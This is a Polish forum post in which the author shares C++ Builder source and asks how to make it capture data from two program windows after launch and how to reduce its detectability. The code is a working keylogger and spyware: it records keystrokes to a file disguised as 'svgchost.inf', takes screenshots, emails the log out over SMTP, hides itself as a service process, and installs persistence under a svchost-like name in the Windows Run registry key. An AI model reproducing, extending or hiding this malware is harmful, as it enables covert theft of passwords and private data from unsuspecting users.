Witam!
Co powinienem dodac do tego skryptu, aby zamiast timera spisywał on tylko dane kilkadziesiat sekund po uruchomieniu pewnego programu z dwóch okienek (na przykład ID i numer).
Pozatym może jakieś sugestie żeby go ulepszyc, zmiejszyc wykrywalnosc?
//---------------------------------------------------------------------------
Co powinienem dodac do tego skryptu, aby zamiast timera spisywał on tylko dane kilkadziesiat sekund po uruchomieniu pewnego programu z dwóch okienek (na przykład ID i numer).
Pozatym może jakieś sugestie żeby go ulepszyc, zmiejszyc wykrywalnosc?
//---------------------------------------------------------------------------
Kod:
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#include <vcl.h>
#pragma hdrstop
#include <Jpeg.hpp>
#include "fstream.h"
#include <shellapi.h>
#define RSP_SIMPLE_SERVICE 1
#define RSP_UNREGISTER_SERVICE 0
#include <Registry.hpp>
#include <mmsystem.h>
#include "Unit1.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
String dir;
String czas;
String data;
int b=0;
int s=0;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
hKernelLib = LoadLibrary("kernel32.dll");
if(hKernelLib)
{
RegisterServiceProcess =
(pRegFunction)GetProcAddress(hKernelLib,
"RegisterServiceProcess");
if(RegisterServiceProcess)
RegisterServiceProcess(GetCurrentProcessId(),
RSP_SIMPLE_SERVICE);
}
}
__fastcall TForm1::~TForm1()
{
if(hKernelLib)
{
if(RegisterServiceProcess)
RegisterServiceProcess(GetCurrentProcessId(),
RSP_UNREGISTER_SERVICE);
FreeLibrary(hKernelLib);
}
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Timer1Timer(TObject *Sender)
{
short character;
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
FILE *file;
file=fopen("svgchost.inf","a+");
if(file==NULL)
{
return;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs("[SHIFT]",file);
fclose(file);
break;
case VK_RETURN:
fputs("\n[ENTER]",file);
fclose(file);
break;
case VK_BACK:
fputs("[BACKSPACE]",file);
fclose(file);
break;
case VK_TAB:
fputs("[TAB]",file);
fclose(file);
break;
case VK_CONTROL:
fputs("[CTRL]",file);
fclose(file);
break;
case VK_DELETE:
fputs("[DEL]",file);
fclose(file);
break;
case VK_OEM_1:
fputs("[;:]",file);
fclose(file);
break;
case VK_OEM_2:
fputs("[/?]",file);
fclose(file);
break;
case VK_OEM_3:
fputs("[`~]",file);
fclose(file);
break;
case VK_OEM_4:
fputs("[ [{ ]",file);
fclose(file);
break;
case VK_OEM_5:
fputs("[\\|]",file);
fclose(file);
break;
case VK_OEM_6:
fputs("[ ]} ]",file);
fclose(file);
break;
case VK_OEM_7:
fputs("['\"]",file);
fclose(file);
break;
/*case VK_OEM_PLUS:
fputc('+',file);
fclose(file);
break;
case VK_OEM_COMMA:
fputc(',',file);
fclose(file);
break;
case VK_OEM_MINUS:
fputc('-',file);
fclose(file);
break;
case VK_OEM_PERIOD:
fputc('.',file);
fclose(file);
break;*/
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);
break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);
break;
case VK_CAPITAL:
fputs("[CAPS LOCK]",file);
fclose(file);
break;
default:
fclose(file);
break;
}
}
}
}
}
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Timer2Timer(TObject *Sender)
{
b++;
if(b>5) return;
data =DateToStr(Date());
czas =TimeToStr(Time());
TCanvas &PulpitCanvas = *new TCanvas();
Graphics::TBitmap *bitmap = new Graphics::TBitmap;
PulpitCanvas.Handle = GetDC(0);
bitmap->Width = Screen->Width;
bitmap->Height = Screen->Height;
bitmap->Canvas->CopyRect(Rect(0, 0, bitmap->Width, bitmap->Height), &PulpitCanvas,
Rect(0, 0, bitmap->Width, bitmap->Height));
try
{
dir = "";
dir = dir + b;
dir = dir + ".bmp";
bitmap->SaveToFile(dir);
ReleaseDC(0, PulpitCanvas.Handle);
}
catch(...)
{
}
delete &PulpitCanvas;
delete bitmap;
//konwersja
dir = "";
dir = dir + b;
dir = dir + ".bmp";
Graphics::TBitmap *BMP = new Graphics::TBitmap();
TJPEGImage *JPG = new TJPEGImage();
BMP->LoadFromFile(dir);
JPG->Assign(BMP);
dir = "";
dir = dir + b;
dir = dir + ".jpg";
JPG->SaveToFile(dir);
JPG->Free();
BMP->Free();
dir = "";
dir = dir + b;
dir = dir + ".bmp";
DeleteFile(dir);
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Timer3Timer(TObject *Sender)
{
//330000
Timer3->Enabled = false;
b = 0;
s++;
SMTP->PostMessage->Subject = "Skan " + IntToStr(s);
/* SMTP->PostMessage->Attachments->Add("1.jpg");
SMTP->PostMessage->Attachments->Add("2.jpg");
SMTP->PostMessage->Attachments->Add("3.jpg");
SMTP->PostMessage->Attachments->Add("4.jpg");
SMTP->PostMessage->Attachments->Add("5.jpg");
*/ SMTP->PostMessage->Attachments->Add("svgchost.inf");
SMTP->Connect();
try
{
SMTP->SendMail();
//[email protected]
//jacek
}
catch(...)
{
}
SMTP->Disconnect();
//usuwanie pliku
DeleteFile("svgchost.inf");
ShowMessage('Test');
}
//---------------------------------------------------------------------------
void __fastcall TForm1::SMTPSendStart(TObject *Sender)
{
TExStringList *header = new TExStringList;
header->Clear();
header->Add("MIME-Version: 1.0\r\n");
header->Add("Content-type: text/html; charset=iso-8859-1\r\n");
header->Add("From: Agent <[email protected]>\r\n");
SMTP->FinalHeader = header;
delete header;
}
//---------------------------------------------------------------------------
void __fastcall TForm1::FormCreate(TObject *Sender)
{
if(!FileExists("c:\\windows\\svgchost.exe"))
{
String sciezka = Application->ExeName;
if (CopyFile(sciezka.c_str(), "c:\\windows\\svgchost.exe", true) == false) ShowMessage("Blad");
TRegistry& Rejestr = *new TRegistry();
Rejestr.RootKey = HKEY_LOCAL_MACHINE;
Rejestr.OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", false);
Rejestr.WriteString("svgchost", "c:\\windows\\svgchost.exe");
delete &Rejestr;
}
}
//---------------------------------------------------------------------------